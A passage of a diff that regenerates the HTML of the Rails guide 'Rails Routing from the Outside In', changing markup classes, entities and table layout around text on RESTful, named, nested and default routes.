-
- <li><a href="#_regular_routes">Regular Routes</a></li>
-
- <li><a href="#_default_routes">Default Routes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_restful_routing_the_rails_default">RESTful Routing: the Rails Default</a>
- <ul>
-
- <li><a href="#_what_is_rest">What is REST?</a></li>
-
- <li><a href="#_crud_verbs_and_actions">CRUD, Verbs, and Actions</a></li>
-
- <li><a href="#_urls_and_paths">URLs and Paths</a></li>
-
- <li><a href="#_defining_multiple_resources_at_the_same_time">Defining Multiple Resources at the Same Time</a></li>
-
- <li><a href="#_singular_resources">Singular Resources</a></li>
-
- <li><a href="#_customizing_resources">Customizing Resources</a></li>
-
- <li><a href="#_controller_namespaces_and_routing">Controller Namespaces and Routing</a></li>
-
- <li><a href="#_nested_resources">Nested Resources</a></li>
-
- <li><a href="#_route_generation_from_arrays">Route Generation from Arrays</a></li>
-
- <li><a href="#_namespaced_resources">Namespaced Resources</a></li>
-
- <li><a href="#_adding_more_restful_actions">Adding More RESTful Actions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_regular_routes_2">Regular Routes</a>
- <ul>
-
- <li><a href="#_bound_parameters">Bound Parameters</a></li>
-
- <li><a href="#_wildcard_components">Wildcard Components</a></li>
-
- <li><a href="#_static_text">Static Text</a></li>
-
- <li><a href="#_querystring_parameters">Querystring Parameters</a></li>
-
- <li><a href="#_defining_defaults">Defining Defaults</a></li>
-
- <li><a href="#_named_routes_2">Named Routes</a></li>
-
- <li><a href="#_route_requirements">Route Requirements</a></li>
-
- <li><a href="#_route_conditions">Route Conditions</a></li>
-
- <li><a href="#_route_globbing">Route Globbing</a></li>
-
- <li><a href="#_route_options">Route Options</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_formats_and_respond_to">Formats and respond_to</a>
- <ul>
-
- <li><a href="#_specifying_the_format_with_an_http_header">Specifying the Format with an HTTP Header</a></li>
-
- <li><a href="#_recognized_mime_types">Recognized MIME types</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_the_default_routes">The Default Routes</a>
- </li>
- <li>
- <a href="#_the_empty_route">The Empty Route</a>
- <ul>
-
- <li><a href="#_using_map_root">Using map.root</a></li>
-
- <li><a href="#_connecting_the_empty_string">Connecting the Empty String</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_inspecting_and_testing_routes">Inspecting and Testing Routes</a>
- <ul>
-
- <li><a href="#_seeing_existing_routes_with_rake">Seeing Existing Routes with rake</a></li>
-
- <li><a href="#_testing_routes">Testing Routes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Rails Routing from the Outside In</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_the_dual_purpose_of_routing">The Dual Purpose of Routing</a>
+ <ul>
+
+ <li><a href="#_connecting_urls_to_code">Connecting URLs to Code</a></li>
+
+ <li><a href="#_generating_urls_from_code">Generating URLs from Code</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_quick_tour_of_routes_rb">Quick Tour of Routes.rb</a>
+ <ul>
+
+ <li><a href="#_processing_the_file">Processing the File</a></li>
+
+ <li><a href="#_restful_routes">RESTful Routes</a></li>
+
+ <li><a href="#_named_routes">Named Routes</a></li>
+
+ <li><a href="#_nested_routes">Nested Routes</a></li>
+
+ <li><a href="#_regular_routes">Regular Routes</a></li>
+
+ <li><a href="#_default_routes">Default Routes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_restful_routing_the_rails_default">RESTful Routing: the Rails Default</a>
+ <ul>
+
+ <li><a href="#_what_is_rest">What is REST?</a></li>
+
+ <li><a href="#_crud_verbs_and_actions">CRUD, Verbs, and Actions</a></li>
+
+ <li><a href="#_urls_and_paths">URLs and Paths</a></li>
+
+ <li><a href="#_defining_multiple_resources_at_the_same_time">Defining Multiple Resources at the Same Time</a></li>
+
+ <li><a href="#_singular_resources">Singular Resources</a></li>
+
+ <li><a href="#_customizing_resources">Customizing Resources</a></li>
+
+ <li><a href="#_controller_namespaces_and_routing">Controller Namespaces and Routing</a></li>
+
+ <li><a href="#_nested_resources">Nested Resources</a></li>
+
+ <li><a href="#_route_generation_from_arrays">Route Generation from Arrays</a></li>
+
+ <li><a href="#_namespaced_resources">Namespaced Resources</a></li>
+
+ <li><a href="#_adding_more_restful_actions">Adding More RESTful Actions</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_regular_routes_2">Regular Routes</a>
+ <ul>
+
+ <li><a href="#_bound_parameters">Bound Parameters</a></li>
+
+ <li><a href="#_wildcard_components">Wildcard Components</a></li>
+
+ <li><a href="#_static_text">Static Text</a></li>
+
+ <li><a href="#_querystring_parameters">Querystring Parameters</a></li>
+
+ <li><a href="#_defining_defaults">Defining Defaults</a></li>
+
+ <li><a href="#_named_routes_2">Named Routes</a></li>
+
+ <li><a href="#_route_requirements">Route Requirements</a></li>
+
+ <li><a href="#_route_conditions">Route Conditions</a></li>
+
+ <li><a href="#_route_globbing">Route Globbing</a></li>
+
+ <li><a href="#_route_options">Route Options</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_formats_and_respond_to">Formats and respond_to</a>
+ <ul>
+
+ <li><a href="#_specifying_the_format_with_an_http_header">Specifying the Format with an HTTP Header</a></li>
+
+ <li><a href="#_recognized_mime_types">Recognized MIME types</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_the_default_routes">The Default Routes</a>
+ </li>
+ <li>
+ <a href="#_the_empty_route">The Empty Route</a>
+ <ul>
+
+ <li><a href="#_using_map_root">Using map.root</a></li>
+
+ <li><a href="#_connecting_the_empty_string">Connecting the Empty String</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_inspecting_and_testing_routes">Inspecting and Testing Routes</a>
+ <ul>
+
+ <li><a href="#_seeing_existing_routes_with_rake">Seeing Existing Routes with rake</a></li>
+
+ <li><a href="#_testing_routes">Testing Routes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Rails Routing from the Outside In</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Understand the purpose of routing
@@ -350,25 +182,24 @@ Identify how a route will map to a controller and action
</div>
<h2 id="_the_dual_purpose_of_routing">1. The Dual Purpose of Routing</h2>
<div class="sectionbody">
-<div class="para"><p>Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.</p></div>
+<div class="paragraph"><p>Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application&#8217;s controllers, and helps you generate URLs without having to hard-code them as strings.</p></div>
<h3 id="_connecting_urls_to_code">1.1. Connecting URLs to Code</h3>
-<div class="para"><p>When your Rails application receives an incoming HTTP request, say</p></div>
+<div class="paragraph"><p>When your Rails application receives an incoming HTTP request, say</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>GET /patients/17</tt></pre>
</div></div>
-<div class="para"><p>the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the <tt>show</tt> action within the <tt>patients</tt> controller, displaying the details of the patient whose ID is 17.</p></div>
+<div class="paragraph"><p>the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the <tt>show</tt> action within the <tt>patients</tt> controller, displaying the details of the patient whose ID is 17.</p></div>
<h3 id="_generating_urls_from_code">1.2. Generating URLs from Code</h3>
-<div class="para"><p>Routing also works in reverse. If your application contains this code:</p></div>
+<div class="paragraph"><p>Routing also works in reverse. If your application contains this code:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #009900">@patient</span> <span style="color: #990000">=</span> Patient<span style="color: #990000">.</span>find<span style="color: #990000">(</span><span style="color: #993399">17</span><span style="color: #990000">)</span>
-<span style="color: #FF0000">&lt;%= link_to "Patient Record", patient_path(@patient) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Then the routing engine is the piece that translates that to a link to a URL such as <tt>http://example.com/patients/17</tt>. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.</p></div>
+<span style="color: #FF0000">&lt;%= link_to "Patient Record", patient_path(@patient) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Then the routing engine is the piece that translates that to a link to a URL such as <tt>http://example.com/patients/17</tt>. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -380,10 +211,10 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_quick_tour_of_routes_rb">2. Quick Tour of Routes.rb</h2>
<div class="sectionbody">
-<div class="para"><p>There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file <tt>config/routes.rb</tt>, which contains the actual routes that will be used by your application. Learning exactly what you can put in <tt>routes.rb</tt> is the main topic of this guide, but before we dig in let's get a quick overview.</p></div>
+<div class="paragraph"><p>There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file <tt>config/routes.rb</tt>, which contains the actual routes that will be used by your application. Learning exactly what you can put in <tt>routes.rb</tt> is the main topic of this guide, but before we dig in let&#8217;s get a quick overview.</p></div>
<h3 id="_processing_the_file">2.1. Processing the File</h3>
-<div class="para"><p>In format, <tt>routes.rb</tt> is nothing more than one big block sent to <tt>ActionController::Routing::Routes.draw</tt>. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>In format, <tt>routes.rb</tt> is nothing more than one big block sent to <tt>ActionController::Routing::Routes.draw</tt>. Within this block, you can have comments, but it&#8217;s likely that most of your content will be individual lines of code - each line being a route in your application. You&#8217;ll find five main types of content in this file:</p></div>
+<div class="ulist"><ul>
<li>
<p>
RESTful Routes
@@ -410,28 +241,26 @@ Default Routes
</p>
</li>
</ul></div>
-<div class="para"><p>Each of these types of route is covered in more detail later in this guide.</p></div>
-<div class="para"><p>The <tt>routes.rb</tt> file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.</p></div>
+<div class="paragraph"><p>Each of these types of route is covered in more detail later in this guide.</p></div>
+<div class="paragraph"><p>The <tt>routes.rb</tt> file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.</p></div>
<h3 id="_restful_routes">2.2. RESTful Routes</h3>
-<div class="para"><p>RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:</p></div>
+<div class="paragraph"><p>RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books</tt></pre></div></div>
<h3 id="_named_routes">2.3. Named Routes</h3>
-<div class="para"><p>Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:</p></div>
+<div class="paragraph"><p>Named routes give you very readable links in your code, as well as handling incoming requests. Here&#8217;s a typical named route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>login <span style="color: #FF0000">'/login'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'new'</span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>login <span style="color: #FF0000">'/login'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'new'</span></tt></pre></div></div>
<h3 id="_nested_routes">2.4. Nested Routes</h3>
-<div class="para"><p>Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:</p></div>
+<div class="paragraph"><p>Nested routes let you declare that one resource is contained within another resource. You&#8217;ll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -439,35 +268,32 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>assemblies <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>assemblies<span style="color: #990000">|</span>
assemblies<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_regular_routes">2.5. Regular Routes</h3>
-<div class="para"><p>In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,</p></div>
+<div class="paragraph"><p>In many applications, you&#8217;ll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'parts/:number'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inventory'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'parts/:number'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inventory'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span></tt></pre></div></div>
<h3 id="_default_routes">2.6. Default Routes</h3>
-<div class="para"><p>The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:</p></div>
+<div class="paragraph"><p>The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!</p></div>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
+<div class="paragraph"><p>These default routes are automatically generated when you create a new Rails application. If you&#8217;re using RESTful routing for everything in your application, you will probably want to remove them. But be sure you&#8217;re not using the default routes before you remove them!</p></div>
</div>
<h2 id="_restful_routing_the_rails_default">3. RESTful Routing: the Rails Default</h2>
<div class="sectionbody">
-<div class="para"><p>RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.</p></div>
+<div class="paragraph"><p>RESTful routing is the current standard for routing in Rails, and it&#8217;s the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it&#8217;s worth the effort; your code will be easier to read and you&#8217;ll be working with Rails, rather than fighting against it, when you use this style of routing.</p></div>
<h3 id="_what_is_rest">3.1. What is REST?</h3>
-<div class="para"><p>The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The foundation of RESTful routing is generally considered to be Roy Fielding&#8217;s doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
@@ -479,171 +305,91 @@ Transferring representations of the state of that resource between system compon
</p>
</li>
</ul></div>
-<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
-<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
-<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
+<div class="paragraph"><p>For example, to a Rails application a request such as this:</p></div>
+<div class="paragraph"><p><tt>DELETE /photos/17</tt></p></div>
+<div class="paragraph"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
<h3 id="_crud_verbs_and_actions">3.2. CRUD, Verbs, and Actions</h3>
-<div class="para"><p>In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as</p></div>
+<div class="paragraph"><p>In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-</tt></pre></div></div>
-<div class="para"><p>creates seven different routes in your application:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos</tt></pre></div></div>
+<div class="paragraph"><p>creates seven different routes in your application:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
- <tr>
- <th align="left">
- HTTP verb
- </th>
- <th align="left">
- URL
- </th>
- <th align="left">
- controller
- </th>
- <th align="left">
- action
- </th>
- <th align="left">
- used for
- </th>
- </tr>
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<thead valign="top">
+<tr>
+<th align="left">HTTP verb </th>
+<th align="left">URL </th>
+<th align="left">controller </th>
+<th align="left">action </th>
+<th align="left">used for</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- index
- </td>
- <td align="left">
- display a list of all photos
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos/new
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- new
- </td>
- <td align="left">
- return an HTML form for creating a new photo
- </td>
- </tr>
- <tr>
- <td align="left">
- POST
- </td>
- <td align="left">
- /photos
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- create
- </td>
- <td align="left">
- create a new photo
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos/1
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- show
- </td>
- <td align="left">
- display a specific photo
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos/1/edit
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- edit
- </td>
- <td align="left">
- return an HTML form for editing a photo
- </td>
- </tr>
- <tr>
- <td align="left">
- PUT
- </td>
- <td align="left">
- /photos/1
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- update
- </td>
- <td align="left">
- update a specific photo
- </td>
- </tr>
- <tr>
- <td align="left">
- DELETE
- </td>
- <td align="left">
- /photos/1
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- destroy
- </td>
- <td align="left">
- delete a specific photo
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">index</p></td>
+<td align="left"><p class="table">display a list of all photos</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos/new</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">new</p></td>
+<td align="left"><p class="table">return an HTML form for creating a new photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">POST</p></td>
+<td align="left"><p class="table">/photos</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">create</p></td>
+<td align="left"><p class="table">create a new photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos/1</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">show</p></td>
+<td align="left"><p class="table">display a specific photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos/1/edit</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">edit</p></td>
+<td align="left"><p class="table">return an HTML form for editing a photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">PUT</p></td>
+<td align="left"><p class="table">/photos/1</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">update</p></td>
+<td align="left"><p class="table">update a specific photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">DELETE</p></td>
+<td align="left"><p class="table">/photos/1</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">destroy</p></td>
+<td align="left"><p class="table">delete a specific photo</p></td>
+</tr>
</tbody>
</table>
</div>
-<div class="para"><p>For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as <tt>params[:id]</tt>.</p></div>
+<div class="paragraph"><p>For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as <tt>params[:id]</tt>.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -653,8 +399,8 @@ cellspacing="0" cellpadding="4">
</tr></table>
</div>
<h3 id="_urls_and_paths">3.3. URLs and Paths</h3>
-<div class="para"><p>Creating a RESTful route will also make available a pile of helpers within your application:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Creating a RESTful route will also make available a pile of helpers within your application:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>photos_url</tt> and <tt>photos_path</tt> map to the path for the index and create actions
@@ -684,25 +430,23 @@ cellspacing="0" cellpadding="4">
<td class="content">Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.</td>
</tr></table>
</div>
-<div class="para"><p>In each case, the <tt>_url</tt> helper generates a string containing the entire URL that the application will understand, while the <tt>_path</tt> helper generates a string containing the relative path from the root of the application. For example:</p></div>
+<div class="paragraph"><p>In each case, the <tt>_url</tt> helper generates a string containing the entire URL that the application will understand, while the <tt>_path</tt> helper generates a string containing the relative path from the root of the application. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>photos_url <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "http://www.example.com/photos"</span></span>
-photos_path <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "/photos"</span></span>
-</tt></pre></div></div>
+photos_path <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "/photos"</span></span></tt></pre></div></div>
<h3 id="_defining_multiple_resources_at_the_same_time">3.4. Defining Multiple Resources at the Same Time</h3>
-<div class="para"><p>If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to <tt>map.resources</tt>:</p></div>
+<div class="paragraph"><p>If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to <tt>map.resources</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>books<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
-</tt></pre></div></div>
-<div class="para"><p>This has exactly the same effect as</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>books<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos</tt></pre></div></div>
+<div class="paragraph"><p>This has exactly the same effect as</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -710,149 +454,78 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>videos
-</tt></pre></div></div>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>videos</tt></pre></div></div>
<h3 id="_singular_resources">3.5. Singular Resources</h3>
-<div class="para"><p>You can also apply RESTful routing to singleton resources within your application. In this case, you use <tt>map.resource</tt> instead of <tt>map.resources</tt> and the route generation is slightly different. For example, a routing entry of</p></div>
+<div class="paragraph"><p>You can also apply RESTful routing to singleton resources within your application. In this case, you use <tt>map.resource</tt> instead of <tt>map.resources</tt> and the route generation is slightly different. For example, a routing entry of</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>geocoder
-</tt></pre></div></div>
-<div class="para"><p>creates six different routes in your application:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>geocoder</tt></pre></div></div>
+<div class="paragraph"><p>creates six different routes in your application:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
- <tr>
- <th align="left">
- HTTP verb
- </th>
- <th align="left">
- URL
- </th>
- <th align="left">
- controller
- </th>
- <th align="left">
- action
- </th>
- <th align="left">
- used for
- </th>
- </tr>
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<thead valign="top">
+<tr>
+<th align="left">HTTP verb </th>
+<th align="left">URL </th>
+<th align="left">controller </th>
+<th align="left">action </th>
+<th align="left">used for</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /geocoder/new
- </td>
- <td align="left">
- Geocoders
- </td>
- <td align="left">
- new
- </td>
- <td align="left">
- return an HTML form for creating the new geocoder
- </td>
- </tr>
- <tr>
- <td align="left">
- POST
- </td>
- <td align="left">
- /geocoder
- </td>
- <td align="left">
- Geocoders
- </td>
- <td align="left">
- create
- </td>
- <td align="left">
- create the new geocoder
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /geocoder
- </td>
- <td align="left">
- Geocoders
- </td>
- <td align="left">
- show
- </td>
- <td align="left">
- display the one and only geocoder resource
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /geocoder/edit
- </td>
- <td align="left">
- Geocoders
- </td>
- <td align="left">
- edit
- </td>
- <td align="left">
- return an HTML form for editing the geocoder
- </td>
- </tr>
- <tr>
- <td align="left">
- PUT
- </td>
- <td align="left">
- /geocoder
- </td>
- <td align="left">
- Geocoders
- </td>
